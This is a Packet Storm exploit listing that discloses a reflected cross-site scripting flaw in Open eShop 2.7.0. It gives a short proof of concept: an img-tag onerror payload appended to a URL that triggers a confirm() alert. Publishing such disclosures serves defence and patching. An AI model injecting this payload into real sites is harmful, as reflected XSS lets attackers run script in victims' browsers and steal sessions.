Lucene search

K
packetstormTmrswrrPACKETSTORM:177981
HistoryApr 08, 2024 - 12:00 a.m.

Open eShop 2.7.0 Cross Site Scripting

2024-04-0800:00:00
tmrswrr
packetstormsecurity.com
71
open eshop 2.7.0
reflected xss
cross site scripting
security vulnerability

7.4 High

AI Score

Confidence

Low

`# Exploit Title: Open eShop Version : 2.7.0 - Reflected XSS  
# Exploit Author: tmrswrr   
# Vendor Homepage: http://www.open-eshop.com/  
# Version : 2.7.0  
# Date : 04/08/2024  
  
1 ) Go to home page https://127.0.0.1/Open_eShop  
2 ) Write url this payload : test.html"><img src=x onerrora=confirm() onerror=confirm(1)>  
  
3 ) After save it you will be see xss alert  
  
https://127.0.0.1/Open_eShop/test.html"><img src=x onerrora=confirm() onerror=confirm(1)>  
  
`

7.4 High

AI Score

Confidence

Low